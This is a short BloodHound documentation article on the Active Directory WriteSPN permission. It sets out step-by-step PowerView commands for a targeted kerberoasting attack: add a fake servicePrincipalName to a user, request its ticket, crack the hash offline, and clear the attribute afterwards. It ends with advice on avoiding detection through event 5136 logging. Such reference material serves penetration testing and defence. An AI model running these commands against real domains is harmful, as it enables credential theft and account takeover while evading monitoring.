WriteSPN

  • Updated

This article applies to BHCE and BHE

The ability to write directly to the servicePrincipalNames attribute on a user object. Writing to this property gives you the opportunity to perform a targeted kerberoasting attack against that user.

Abuse Info

A targeted kerberoast attack can be performed using PowerView’s Set-DomainObject along with Get-DomainSPNTicket.

You may need to authenticate to the Domain Controller as the user with full control over the target user if you are not running a process as that user. To do this in conjunction with Set-DomainObject, first create a PSCredential object (these examples comes from the PowerView help documentation):

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)

Then, use Set-DomainObject, optionally specifying $Cred if you are not already running a process as the user with full control over the target user.

Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}

After running this, you can use Get-DomainSPNTicket as follows:

Get-DomainSPNTicket -Credential $Cred harmj0y | fl

The recovered hash can be cracked offline using the tool of your choice. Cleanup of the ServicePrincipalName can be done with the Set-DomainObject command:

Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname

Opsec Considerations

Modifying the servicePrincipalName attribute will not, by default, generate an event on the Domain Controller. Your target may have configured logging on users to generate 5136 events whenever a directory service is modified, but this configuration is very rare.